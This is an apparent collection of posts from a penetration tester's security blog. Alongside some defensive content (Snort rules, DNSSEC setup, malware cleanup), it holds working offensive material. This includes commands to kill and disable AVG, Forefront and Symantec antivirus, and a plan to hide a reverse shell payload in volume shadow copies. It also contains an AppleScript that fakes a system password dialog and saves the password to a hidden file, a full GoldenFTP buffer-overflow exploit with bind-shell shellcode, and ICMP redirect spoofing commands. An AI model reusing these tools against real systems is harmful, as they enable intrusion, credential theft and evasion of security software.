Net = Packet Header != Security ? 0 : 1

Disabling AntiVirus when Pen Testing

2011-12-05T10:44:00.000-08:00

When penetration testing, and targeting Windows systems, writing some executable content to the file system is invariably required at some stage. Unfortunately today, the antivirus vendors have become quite adept with signatures that match assembly stub routines that are used to inject malware into a system. The A/V guys will also pick up on common service executable files such as being used with Metasploit’s bypassuac. Let’s face it, we still need to write stuff into temp directories from time to time.

Mark Baggett, and Tim Tomes recently presented some nice techniques on hiding malware within Windows volume shadow copies (http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows). Since it is unlikely for A/V products to be able to scan volume shadow copies, and the capability to create a process from a volume shadow copy using ‘wmic’ exists, then we would likely want to follow this sequence of tasks during a test:

a) Disable the A/V product of choice.
b) Upload our favorite/useful executable content. (perhaps a reverse TCP meterpreter shell or similar)
c) Upload Mark and Tim’s excellent vssown.vbs script
a. Enable service and create volume shadow copy.
b. Disable volume shadow copy service.
d) Delete our favorite/useful executable content and modified timestamps accordingly assuming we want to be somewhat stealthy.
e) Execute our content from the volume shadow copy using ‘wmic’ using the excellent vssown script, or just through ‘wmic process call create’.

The challenge presented is whether we can effectively disable the antivirus product of choice. Listed below are some possible techniques for three popular products which may get us what we need. None of these techniques are stealthy from a user interface perspective. Otherwise said, Windows security center and the A/V tray executable files themselves will try to inform the user that something is broken when we proceed with these recipes.

1. Grisoft’s AVG

Using the 2012 Freeware version, I note the following information about AVG. Services running are the AVG watchdog (avgwd), and the AVG IDS agent (avgidsagent). The running processes are as follows: avgidsagent.exe, avgwdsvc.exe, avgemca.exe, avgrsa.exe, avgcsrva.exe, and avgnsa.exe. The watchdog process is very persistent at restarting things, is not killable, and neither is the service stoppable.

DISABLING:
a. Rename the binary files in %systemroot%\program files\avg\avg2012\ as follows.

C:\> cd %systemroot%\program files\avg\avg2012
C:\> move avgcsrva.exe avgcsrva_.exe
C:\> move avgemca.exe avgemca_.exe
C:\> move avgnsa.exe avgnsa_.exe
C:\> move avgrsa.exe avgrsa_.exe

b. Kill the running processes simultaneously with a one line (wildcard powered) wmic command.

C:\> wmic process where “name like ‘avg[cenr]%.exe’” delete

c. The watchdog service will to restart all of the binaries but fail.

ENABLING: Rename all of the binaries back to their original names, and the watchdog process will take care of the rest.

2. Microsoft Forefront

The service name is “msmpsvc”, and the running processes are msmpeng.exe, and msseces.exe, one being the engine and the other being the GUI reporting/configuration tool respectively.

DISABLING: kill the GUI tool and stop the A/V engine service.

C:\> wmic process where name=”msseces.exe” delete
C:\> sc stop msmpsvc

ENABLING: start the A/V service engine, and start the GUI process.

C:\> cd \Program Files\Microsoft Security Client
C:\> sc start msmpsvc
C:\> msseces.exe

3. Symantec Endpoint Protection

The services running are ccEvtMgr, ccSetMgr, smcservice, and “Symantec AntiVirus”. The processes that matter are smb.exe, and smcgui.exe.

DISABLING: kill the processes, and stop the services. I found that the event manager (ccEvtMgr), and settings manager (ccSetMgr) service can remain running without any impact.

C:\> wmic process where “name like ‘%smc%.exe’” delete
C:\> sc stop smcservice
C:\> sc stop “Symantec AntiVirus”

ENABLING: restarting just the smcservice will start everything else back up again.

C:\> sc start smcservice

Fun with AppleScript

2011-10-25T14:41:00.000-07:00

--
-- Description: This script prompts the user to enter their password
--        in order to perform a privileged function. The password
--        is subsequently saved to a hidden file in their home directory.
--        The "Cancel" button is the default on the dialog which
--        will hopefully encourage the user to enter accurate info.
--
-- Author: Joff Thyer, October 2011
--
set filename to ((path to home folder) as string) & ".mpass"
set myprompt to "Type your password to allow System Preferences to make changes"

set ans to "Cancel"
repeat
    try
        set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "Cancel" with icon path to resource "LockedIcon.icns" in bundle "/System/Library/CoreServices/CoreTypes.bundle"
        set ans to button returned of d_returns
        set mypass to text returned of d_returns
        if ans = "OK" then exit repeat
    end try
end repeat

try
    set now to do shell script "date '+%Y%m%d_%H%M%S:'"
    set myfile to open for access filename with write permission
    set outstr to now & mypass & "
"
    write outstr to myfile starting at eof
    close access myfile
on error
    try
        close access myfile
    end try
end try

Using metasploit meterpreter scripts enum_firefox.rb and enum_chrome.rb

2011-07-15T09:05:00.000-07:00

Two useful meterpreter scripts for enumerating client browser data are enum_firefox.rb and enum_chrome.rb located in the framework scripts/meterpreter directory.

It is important to understand that both of these scripts require sqlite3 be properly installed on your exploitation system. Assuming your exploitation system is Ubuntu Linux for a moment, you can ensure that sqlite3 dependencies are installed as follows:

sudo apt-get install sqlite3
sudo apt-get install libsqlite3-dev
sudo gem install sqlite3-ruby

Once this has completed, then restart your msfconsole, exploit away and run the appropriate browser enumeration scripts. Output from your enumeration will be stored in the msf config directory with the following path.

log/scripts/enum_firefox
log/scripts/enum_chrome

With a local installation under Ubuntu, the msf config directory is often $HOME/.msf

Revised V2.5 Golden FTP 4.70 PASS overflow exploit

2011-07-08T09:32:00.000-07:00

#!/usr/bin/python
#
###########################################################################
## Exploit Title: Revised V2.5: GoldenFTP 4.70 PASS overflow exploit
## Exploit Version: 2.5, 2011-07-08 15:00
## Date: July 8, 2011 (20110708-1500)
## Author: Joff Thyer (jsthyer@gmail.com)
## Software Link: http://www.goldenftpserver.com/
## Version: 4.70
## Tested on: WinXP-SP0/SP2/SP3
## CVE: 2006-6576
##
## based on exploit by:
## Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg)
##
## NOTES:
## (1) You must make sure that the "Show new connections" option is enabled
## in order for this exploit to work.
## (2) Specifying the IP source address is important as it is used in the
## calculation of the overflow buffer offset.
###########################################################################
#

import socket
import sys
from subprocess import Popen, PIPE
import re
import time

# Metasploit
# ./msfpayload windows/exec CMD=calc.exe r | ./msfencode -b '\x00\x0a\x0d' -c 3
# 281 bytes
calc = \
"\xda\xd8\xbf\xbd\xe6\x2a\x25\xd9\x74\x24\xf4\x5d\x2b\xc9" +\
"\xb1\x40\x31\x7d\x19\x03\x7d\x19\x83\xc5\x04\x5f\x13\xf0" +\
"\xfc\x25\x7d\x71\xce\xb6\xa7\x0e\x14\xbc\x03\xc4\x9d\x8d" +\
"\x8d\x2b\x4d\xf7\xee\x18\x6b\x84\x32\x9a\x69\xde\x1d\x56" +\
"\x5b\x3c\x2b\x9b\xd7\x9f\x60\x60\x07\x1a\x80\xa2\x81\xae" +\
"\xce\x53\x0c\x41\x2a\x63\xce\xe5\x8c\xb1\x14\x78\x13\x69" +\
"\x5b\xe0\x83\x33\x30\x96\x31\x89\x93\x5f\x95\x5c\xe5\x63" +\
"\x23\x44\xfa\xe4\xe4\xbc\x75\x83\xb8\x5e\xa3\x1f\x86\x37" +\
"\xc8\xf4\x89\xab\x9d\x6e\x65\xac\x65\xfc\x7b\xe9\x86\xe6" +\
"\x8f\x25\x93\x03\xd4\x1d\x7f\x73\x91\xc4\x68\x67\x62\x59" +\
"\xe0\x5f\x51\x08\xfb\xd7\x1f\xb6\x5a\x27\xe9\x35\x61\x3e" +\
"\xf8\x4c\xac\x19\x43\x47\x2b\x13\x92\x9e\x1a\xed\xfd\x45" +\
"\x98\x34\x2a\x83\xb4\x84\x2e\xa0\x67\x24\x44\x5b\x32\x0b" +\
"\xbf\x5b\x7a\x9f\xa6\xc8\xd7\xaf\x04\xb9\xa2\x53\x5f\xfd" +\
"\x6f\x5b\x32\x77\xb2\x5b\xec\x53\xa1\x12\x29\x88\x5d\x0f" +\
"\x27\x92\x8b\xca\x63\x38\x4d\x1b\xd2\x26\x0e\xf8\xdf\xf4" +\
"\xef\x8f\x14\x63\xf2\x81\x9e\x60\xb0\xc6\xbe\x97\x1e\x27" +\
"\x32\x8f\x88\x29\x3e\xa4\xbe\xd6\x45\xaa\x70\xcd\x8a\xf6" +\
"\xcd\xa0\x15\x5b\x4b\x73\xde\x3c\xa6\x33\x7d\xa5\xa9\xda" +\
"\x0b\xdf\xc3\xd9\xe9\x81\x5a\xbb\x77\x47\x45\x75\xf9\x5f" +\
"\x88"

# Metasploit
# ./msfpayload windows/exec CMD=windows/shell_bind_tcp r | ./msfencode -b '\x00\x0a\x0d' -c3
# 422 bytes
cmdshell = \
"\xd9\xce\xba\xd6\x6f\x98\xda\xd9\x74\x24\xf4\x5f\x33\xc9" +\
"\xb1\x63\x31\x57\x1a\x03\x57\x1a\x83\xef\xfc\xe2\x23\xd5" +\
"\x9d\x94\x67\x5c\x47\xea\xae\xd5\x53\x1f\x0e\x3f\x55\x6e" +\
"\xf3\x0e\x33\x83\x08\x27\xa9\x20\xe5\x75\x83\xa5\xb5\x66" +\
"\x03\x32\x7d\xe2\xf5\xfa\x35\x4c\x0f\x9b\x44\x05\x5b\x98" +\
"\x24\x7d\xf0\xc3\xb6\xa2\x68\x9c\x42\xed\x08\x82\xfe\xbb" +\
"\x7e\xcf\x76\x76\x97\x38\xeb\xb1\x98\xd6\x51\x8b\xca\xae" +\
"\xea\x2b\x72\x86\x3b\x67\x6a\x9f\x5d\xf2\x4c\xb8\x23\x10" +\
"\x95\xd3\x01\x41\x09\x36\x93\x41\xaa\xb5\x84\xd9\x35\xb0" +\
"\x44\x13\xc0\x38\x6b\xab\x1a\x8c\xb7\xec\x30\x7a\x4a\x73" +\
"\xe5\xf1\x7e\x7e\xaf\x66\xa1\x85\x53\xea\x1a\xd7\x0b\x9a" +\
"\x9e\xf0\x04\x63\xe0\x57\xf6\x6a\x88\xb1\xef\xe0\x4a\x78" +\
"\x63\xdb\xcf\xe6\xde\xcf\xe9\x2c\x94\x5f\xef\x28\x2a\xdc" +\
"\xcd\x7a\xb2\x13\x88\xb1\x8d\x40\xcf\x0c\xf9\x52\x2f\xbc" +\
"\xd4\x34\xad\xb0\x45\xfb\xe2\xa3\xab\xa7\x46\xf6\x83\x38" +\
"\xe0\x36\x75\x7a\x6f\x96\xb3\x4f\xbe\xb9\x17\xbd\xea\x0e" +\
"\xf9\x10\x62\x2e\x91\x69\x28\xeb\xe6\x07\x23\x0f\xf6\x26" +\
"\x4a\xec\xba\xd8\x74\xba\xe6\x38\xb3\x56\x13\xf1\x8d\x70" +\
"\x98\xc9\x60\xcf\x9c\xf5\x1f\x8f\x8f\x04\x6c\x61\x63\x25" +\
"\x87\x89\x1d\x58\x4f\x18\xca\xcb\x11\x03\x24\x6b\xa6\xbd" +\
"\x47\x90\x43\xc5\x9f\x3f\xc8\x64\x3a\xcc\x69\xc7\x9c\x2d" +\
"\x19\xc1\x67\xfa\x07\xcb\xd7\x92\x83\x23\x50\xdf\xa2\xd8" +\
"\x08\xa8\xec\x43\xbb\xda\x10\xc2\x0b\x30\xb7\xdd\xbd\x33" +\
"\x6a\x18\x98\x1e\xc1\x5e\x77\xeb\xe8\x21\x4e\x18\x60\x6f" +\
"\x60\x5c\x99\xb6\x7e\x28\xdb\xda\x40\xea\x8c\xc7\x5c\x70" +\
"\x7f\xd1\x61\xaf\x42\x25\x8d\xec\xb9\xde\x5f\x40\xa2\xa2" +\
"\xe2\x39\x6f\x85\x54\xd3\xa0\xef\x4c\x08\x23\xb5\x88\x85" +\
"\xc0\xfc\xd2\x50\x68\x5b\x93\x33\x8a\x6e\xf8\x4d\x79\xa8" +\
"\x29\x56\x39\xee\x4f\xd2\x49\x48\x4e\x0e\x1c\x8a\xd5\xa6" +\
"\xd0\x94\xfb\xda\x22\x3d\xf4\x22\xe7\x54\xff\xa2\x05\xc4" +\
"\x8c\xc7"

if len(sys.argv) < 5:
print "[-]Usage: %s <src addr> <target addr> <shellcode> <platform>" % sys.argv[0]
print "\tshellcode = (calc|shell)"
print "\tplatform = (sp0|sp2|sp3)"
print "\tExample: ./gftp-sploit.py 1.2.1.2 5.6.5.4 calc sp2"
sys.exit(0)

srcaddr = sys.argv[1]
target = sys.argv[2]
shellcode = sys.argv[3]
platform = sys.argv[4]

# which payload?
buf = calc
if shellcode == "calc":
buf = calc
elif shellcode == "shell":
buf = cmdshell

# address of JMP ESI in Kernel32.dll
if platform == "sp0":
jmpesi = "\x7b\x15\xe8\x77"
elif platform == "sp2":
jmpesi = "\xc3\x72\x85\x7c"
elif platform == "sp3":
jmpesi = "\x0b\xda\x82\x7c"

shortjmp = "\x90\x90\x90\x90\xeb\x20\n"
nopsled = "\x90" * 60
padding = "A" * (533 - len(srcaddr + buf + nopsled))
payload = nopsled + buf + padding + jmpesi

print "\
[+] Golden FTP PASS Exploit\n\
[+] Version 2.5, July 8 2011\n\
[+] Author: Joff Thyer (jsthyer@gmail.com)\n\
[+] 'Show new connections' must be enabled in GoldenFTP in order\n\
[+] for this exploit to succeed!\n\
[+] Connecting: "+target

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((target,21))
except:
print "[-] Connection to "+target+" failed!"
sys.exit(0)

print "[+] Sending payload, length = " + `len(payload)`
s.send(shortjmp);
s.send("USER anonymous\n")
s.send("PASS " + payload + "\n")
s.recv(1024)
print "[+] Sleeping 2 secs..."
time.sleep(2)
s.close()

if shellcode == "shell" and srcaddr == target:
p = Popen(["netstat","-na"],stdout=PIPE,shell=False)
netstat = p.stdout.read()
shellok = re.search("TCP\s*0\.0\.0\.0:4444.*LISTENING",netstat)
if shellok:
print "[+] "+shellok.group(0)

print "[+] Done."
sys.exit(0)

Using CAIN to read packet captures during a Penetration Test

2011-06-02T10:51:00.000-07:00

There are many ways to leverage transitive trust relationships in an environment when performing Penetration Testing. Once privileged level access is obtained on a single Windows system, hashes can usually be obtained, and it is often the case that shared credentials exist. In the case of a LANMAN or NT hash environment which only uses LANMAN/NTLMv1 challenge/response and fixed stored hashes, it is known that access to other Windows systems can be trivially obtained through only stored hash possession.

Within the Metasploit framework, exists the 'windows/smb/psexec' module which works in a similar fashion to the Microsoft sysinternals PSEXEC command, but can also utilize "pass the hash" by setting the SMBPass variable to a LANMAN:NT hash rather than a plaintext password. This can be a useful way to pivot through to other systems once a single set of hashes is obtained.

A feature of the Metasploit Meterpreter I found useful in a recent Penetration Test is the 'sniffer' module. This module will allow you to capture up to 50,000 packets from an exploited system and download the captured data to a libpcap compatible file.

meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces

1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:0 mtu:1514 usable:true dhcp:false wifi:false )

meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_stats 2
[*] Capture statistics for interface 2
packets: 1849
bytes: 444042

meterpreter > sniffer_dump 2 myfile.pcap
meterpreter > sniffer_stop 2

During a recent Pen Test, I happened to gain access to a network monitoring system. This is the near perfect scenario to leverage the meterpreter sniffer module.

CAIN (www.oxid.it) is most often thought about as a layer 2 network interception and man in the middle tool with an incredibly useful set of password hash analysis and cracking ability. CAIN has the to perform cryptanalysis using traditional rcrack style rainbow tables, as well as the ophcrack format rainbow tables. Password cracking can also be done using dictionary or brute force mode.

What is usually overlooked is that CAIN can read libpcap files and process the contents, parsing out all of the useful various application and O/S password hash formats. To perform this libpcap file parsing in CAIN is a simple click on the open folder looking icon in the top left of the menu bar. It is hard to find because the typical "open file" entry does not exist in the file menu.

I used this capability to parse through sniffer packet captures from compromised systems, and managed to further my intrusion into the environment significantly in the process. Cryptanalysis, dictionary and bruteforce attacks can be leveraged against captured LANMAN/NT challenge response transactions. Dictionary and bruteforce attacks can be used against Oracle, and MySQL database credentials which are often weak. SNMP version 1 community strings are obviously plaintext and easy to capture. MSSQL in older days uses TDS (Unicode XOR with 0xa5) which is easily reversible. It is also quite interesting to see how much plaintext LDAP can be leveraged for access also.

Within the Pen Testing context, obtaining access and obtaining passwords with associated cracking time is a huge component. However, we cannot forget that demonstrating access to real data is important to show there exists real risk.

I find that the most interesting demonstration of this is to show that you can access database tables. However, one must tread carefully in this area. When demonstrating this access, try showing some table names, some column names and such without actually pulling database rows themselves. The idea is to prove you own it, and you're there without putting sensitive data into your reports. Redacted screenshots can work well in this context also.

With regard to database client software, the most challenging area is to get a functional Oracle PL*SQL client working. The installation is a little tricky but if you have access to a handy and friendly DBA, you can be up and running pretty quickly.

Microsoft SQL servers often have the command line utility named OSQL.EXE actually on the server itself, and PWDUMPX is useful for pulling LSA secrets from the Windows registry which often contain database credentials.

MySQL command line client is a simple installation, especially with Linux distro's like Ubuntu so that should not present much challenge.

Windows XP Startup/Logon Process and Malware

2011-04-11T06:42:00.000-07:00

Recently I had to rescue my daughter's PC from some nasty malware. For many security professionals, troubleshooting family systems is a common weekend / after hours challenge, and a lot of us are not in the business of desktop remediation.

I find that the ISO based whole system virus scanners are not a bad starting point to get rid of the low hanging fruit. I have used F-Secure, and Kaspersky among others.

I also find that after the scanning/remediation process, XP registry entries are often still broken leading a lot of people to the point of just re-installing. Of course, re-installing is sometimes the only option for deeply embedded malware and/or rootkit.

A tool I found useful when I was poking through the HKEY_USER registry hive was 'USER2SID' since those registry entries are keyed by the SID. I also found that the malware I was dealing with had re-written the 'exefile' and '.exe' startup shell keys to be its own EXE file which was somewhat frustrating when that malware exe file was finally missing. (ie: Windows kept asking what program to open an exe with!!)

Also, age old advice is to remember those program startup registry keys which are often used to infect/re-infect things:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runonce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
%systemdrive%\Documents and Settings\All Users\Start Menu\Programs\Startup
%systemdrive%\Documents and Settings\username\Start Menu\Programs\Startup
%windir%\Profiles\All Users\Start Menu\Programs\Startup
%windir%\Profiles\username\Start Menu\Programs\Startup

Don't forget about our old SysInternals tools, particularly 'AutoRuns' and 'Process Explorer' which I continue to find extremely useful.

The Windows utility SFC.EXE is useful for a diff scan of critical system files as long as it has not been compromised.

*** Always use READ-ONLY media when in a desktop incident response situation like this otherwise anything goes with regard to what is written to your favorite USB memory stick!

Detecting PECOFF EXE/DLL files with Snort

2011-04-11T06:27:00.000-07:00

Some time ago, I became interested in parsing the PECOFF file format. As a result, I authored several different Snort rules to detect the transfer of either an EXE or DLL file of different varieties. Listed below are rules for both i386/32-bit and x86-64-bit. Additionally, there is a set of rules for UPX Packed EXE files.

Hopefully readers and Snort fans will find these useful.

# i386 32-bit EXE over TCP
log tcp any any -> any any (msg:"LOCAL: i386 PE32 EXE File Xfer"; flowbits:isnotset,upx.exe.packed; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,!&,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; flowbits:unset,upx.exe.packed; sid:4963001; rev:1;)

# i386 32-bit DLL over TCP
alert tcp any any -> any any (msg:"LOCAL: i386 PE32 DLL File Xfer"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,&,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; sid:4963002; rev:1;)

# x86 64-bit EXE over TCP
alert tcp any any -> any any (msg:"LOCAL: x86 PE32+ EXE File Xfer"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||64 68|"; byte_test:2,!&,0x2000,16,relative,little; content:"|0B 02|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; sid:4963101; rev:1;)

# x86 64-bit DLL over TCP
alert tcp any any -> any any (msg:"LOCAL: x86 PE32+ EXE File Xfer"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||64 68|"; byte_test:2,&,0x2000,16,relative,little; content:"|0B 02|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; sid:4963102; rev:1;)

# UPX Packed EXE over TCP
alert tcp any any -> any any (msg:"LOCAL: i386 PE32 UPX Packed EXE File Xfer over TCP"; flow:established; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,!&,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; content:"UPX0"; within:172; content:"|00 04 00 00|"; distance:16; within:4; content:"|80 00 00 E0|"; distance:12; within:4; flowbits:set,upx.exe.packed; sid:4963201; rev:1;)

# UPX Packed EXE over UDP
alert udp any any -> any any (msg:"LOCAL: i386 PE32 UPX Packed EXE File Xfer over UDP"; content:"|4D 5A 90 00|"; depth:512; byte_jump:4,56,relative,little; content:"|50 45 00 00||4C 01|"; byte_test:2,!&,0x2000,16,relative,little; content:"|0B 01|"; distance:18; within:2; content:"|00 00 00 00|"; distance:50; within:4; content:"UPX0"; within:172; content:"|00 04 00 00|"; distance:16; within:4; content:"|80 00 00 E0|"; distance:12; within:4; flowbits:set,upx.exe.packed; sid:4963301; rev:1;)

DNSSEC Notes

2010-11-10T08:32:00.000-08:00

Quick and dirty DNSSEC recipe:

1) named.conf global options

options {
dnssec-enable yes;
dnssec-validation yes;
};

1.5) "root" zone trusted key

get root key:
dig +multi +noall +answer DNSKEY . >root.dnskey

convert to DS RR set:
dnssec-dsfromkey -f root.dnskey . >root.ds

include in named.conf:

managed-keys {
"." initial-key 257 3 8 "
blah blah blah ";
};

2) Generating key signing key (KSK) and zone signing key (ZSK)

ZSK: dnssec-keygen -r /dev/random -a RSASHA1 -b 1024 -n ZONE myzone.name
KSK: dnssec-keygen -r /dev/random -f KSK -a RSASHA1 -b 1280 -n ZONE myzone.name

3) Inside your zone file, include the public keys

$include Kmyzone.name.+005+1234.key ;ZSK
$include Kmyzone.name.+005+4567.key ;KSK

4) Sign the DNS zone

dnssec-signzone -r /dev/random -o myzone.name -k Kmyzone.name.+005+1234 myzone.name Kmyzone.name.+005.4567.key

5) Verify the signed zone records:

cat myzone.name.signed

6) Check a query...

dig +dnssec www.myzone.name A

Note: data for which a local name server is authoritative for, and comes from disk will not result in the trust chain traversal. ie: It is assumed that if a server can read the zone off disk, then it is secure anyway.

Better spoofing of ICMP host redirect messages with Scapy

2010-06-04T12:05:00.000-07:00

Scapy is a packet crafting tool written in Python that offers very fine-grained OSI layer 2, 3, and 4 control of header fields.   Scapy will do some things for you automatically if you don't fill in all of the fields in any specific header.   Examples of this might be the IP total length field, IP version number, TCP or UDP length fields, and checksum values.

Unlike Hping, when Scapy is used to send ICMP redirects, it does a fine job of calculating all additional fields correct and filling in all required checksums to make things happen correctly.    For people familiar with software development, and detailed packet header information, Scapy is an ideal tool.

I used an Ubuntu system to test Scapy out for ICMP redirect activity, obtaining it as follows: "sudo apt-get install python-scapy".

In this scenario, our legitimate router gateway is 192.168.128.2, and our victim/target host is 192.168.128.128.   We are going to spoof an ICMP redirect for the /32 host route 10.1.1.1, redirecting that address to the new gateway of 192.168.128.136.

After installing scapy, we will run as root to ensure that we can craft packets from the attacker's ethernet interface.   Along the way, we will instantiate different objects representing the various layer 3 and 4 headers that we require.   In this case, we require an IP datagram, with ICMP as well as another IP payload to be delivered inside the ICMP payload.

Welcome to Scapy (2.0.0.5 beta)
>>> ip=IP()
>>> ip.src='192.168.128.2'
>>> ip.dst='192.168.128.128'
>>> ip.display
<bound method IP.display of < ip  src=192.168.128.2 dst=192.168.128.128 |>>

Now, we go forward and set the ICMP parameters as follows, type=5 for redirect, and code=1 for host, and then set the gateway destination.

>>> icmp=ICMP()
>>> icmp.type=5
>>> icmp.code=1
>>> icmp.gw='192.168.128.136'
>>> icmp.display
<bound method ICMP.display of <icmp  type=redirect code=1 gw=192.168.128.136 |>>>
>>> icmp.display()
###[ ICMP ]###
  type= redirect
  code= 1
  chksum= 0x0
  gw= 192.168.128.136

I deliberately used two different methods for displaying the ICMP object properties to illustrate that you can display either the full header or only the modified fields.

At this stage, we need to create the payload of the ICMP packet itself. This is important because the IP destination address is what becomes the route table host entry when the redirect is sent to the victim. We will set the IP source address within the ICMP payload to be the victim host address since this "would have been" the originator of the packet that elicited the ICMP redirect in a legitimate situation.

>>> ip2=IP()
>>> ip2.src='192.168.128.128'
>>> ip2.dst='10.1.1.1'
>>> ip2.display
<bound method IP.display of <IP  src=192.168.128.128 dst=10.1.1.1 |>>

The layer 4 portion of the ICMP payload can be anything we like. In this example, we will use Scapy's UDP() method which defaults to looking a lot like a DNS header.   Since the defaults are pretty good, we don't need to use a Scapy variable. We can send out our ICMP datagram because it is now fully assembled!

>>> send(ip/icmp/ip2/UDP())
.
Sent 1 packets.
>>>

When packet crafting for research or especially penetration testing work, you should always have 'tcpdump' running and at minimum displaying packet data, if not writing it to disk:

sudo tcpdump -ennvvX -i eth0 -s1514 'icmp'
[sudo] password for deadlist:
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes
08:55:19.971914 00:0c:29:e3:3f:d3 > 00:0c:29:4d:99:8f, ethertype IPv4 (0x0800), length 70: (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 56)
    192.168.128.2 > 192.168.128.128: ICMP redirect 10.1.1.1 to host 192.168.128.136, length 36
    (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 28)
    192.168.128.128.53 > 10.1.1.1.53: [udp sum ok] [|domain]
    0x0000: 4500 0038 0001 0000 4001 f8f0 c0a8 8002 E..8....@.......
    0x0010: c0a8 8080 0501 0612 c0a8 8088 4500 001c ............E...
    0x0020: 0001 0000 4011 2ea6 c0a8 8080 0a01 0101 ....@...........
    0x0030: 0035 0035 0008 b349                      .5.5...I

And there we have it folks!   Scapy is a fascinating tool for exploring all sorts of packet crafting ideas and because it's Python, you can have lots of fun scripting things to your heart's content.

Spoofing ICMP redirect host messages with hping

2010-05-26T12:54:00.000-07:00

An icmp redirect host message can be sent from any router on the same broadcast segment as the end host that "needs redirection".     Modern network infrastructures will typically have a single router gateway address per subnet however it is possible to have more than one router in a segment making the operational case for ICMP redirect messages.

An ICMP redirect host message has ICMP type 5, code 1.    The ICMP redirect network code is 0. There also exists redirect with Type of Service (ToS) for both network and host (codes 2 and 3).

With the advent of classless Internet domain routing (CIDR, RFC 1518/1519 in 1993), an end host cannot readily determine the network class and thus ICMP type 5, code 0 is basically useless. RFC 1812 additionally states that a router should not generate type 5, code 0.   While working on this post, I observed that a Windows host will accept code 0 and treat it the same as code 1 adding a /32 route to the table.

Because IP source address spoofing is trivial, ICMP redirect message abuse potential exists.   The only specific limitation is that the "new" destination gateway address of the redirect message must exist within the same subnet as the end host itself.

The ICMP redirect use case would most likely be employed in a network penetration testing scenario whereby extensive layer 2 security features are enabled limiting the effectiveness of layer 2 attacks such as ARP cache poisoning and rogue DHCP server use.    The primary goal being to intercept traffic for a specific destination address.

The end host must be configured to accept ICMP redirect messages and update its routing table accordingly.   Within Microsoft Windows, there is a registry key that enables the acceptance of ICMP redirect messages. This DWORD registry key has a default setting of 0x0001, that being the "enabled" state.

HKLM\System\CurrentControlSet\Services\Parameters\Tcpip\EnableICMPRedirect

Based on my reading, I believe some implementations of the Microsoft TCP/IP stack also read the plural form of this key "EnableICMPRedirects" rather than the singular form, so it is possible that both keys exist.

With regard to the Windows XP firewall, it will block all ICMP requests in its default configuration state. Of course, there may be site wide group policy that changes this situation for legitimate operational reasons such as multiple router gateways existing in a single segment.    If you wish to experiment, and enable 'icmp redirect' from the command line, there are two useful 'netsh' commands as follows:

C:\> netsh firewall show icmpsetting

shows the current state of ICMP acceptance if any. A blank output indicates that no ICMP policies are in effect.

C:\> netsh firewall set icmpsetting type=5 mode=enable

will enable the acceptance of ICMP redirects through the firewall.

The Linux kernel has two settings that control ICMP redirect acceptance behavior.   For the 'eth0' interface, these settings are as follows:

/proc/sys/net/ipv4/conf/eth0/accept_redirects
/proc/sys/net/ipv4/conf/eth0/secure_redirects

If "secure_redirects" is enabled, the Linux system will only accept ICMP redirects that are redirected to a default gateway that is already listed in the routing table.   This is the default in most modern linux distributions and is an effective defense against spoofing attempts.

'accept_redirects' is enabled as the default also.   If the 'secure_redirects' kernel parameter is set to 0, then the linux kernel is susceptible to an ICMP host redirect attack in the same way that a Windows system is susceptible.    The one thing to note is that the linux kernel will not show the accepted route in the routing table that is listed through 'route show' or 'netstat -nr' commands, even though the route is in effect.

Our scenario below is laid out as follows:

Attacker IP Address: 172.16.235.99
Legitimate Router Gateway: 172.16.235.1
Victim IP Address: 172.16.235.100

The legitimate DNS server address is 10.1.1.1.

We can use ICMP redirect host to insert a new route table entry for the 10.1.1.1 address as follows:

hping -I eth-dest -C 5 -K 1 -a 172.16.235.1 --icmp-ipdst 10.1.1.1 --icmp-gw 172.16.235.99 --icmp-ipsrc 172.16.235.100 172.16.235.100

whereby:
-I eth-dest is the destination ethernet interface on the attacker to send the packets out of/from.
-a is the spoofed source address of the legit. router gateway
--icmp-ipdst is the new route table entry address you want to create
--icmp-gw is the new route destination address/gateway you want to create and must live within the same subnet as the victim.
--icmp-ipsrc must match the source address of the victim to pass sanity checking

If you check the route table on the victim using "netstat -nr" or "route print" after executing this command from the attacker, you should see a new route table entry.   Since MS-Windows will readily accept these new route table entries, many ICMP redirects can be generated with random IPv4 prefixes to perform a denial of service against the target.   A /32 host route learned via an ICMP redirect message will remain in the routing table for 10 minutes.

In this example, we assumed that the attacker was on the same subnet in order to receive / intercept the traffic.   In other words, the attacker would also be a DNS server ready to serve some bogus response to the victim.    The attacking host could well be a different machine on another network, but the "man in the middle" host or "router gateway" if you like needs to remain on the same subnet in order to receive the traffic.

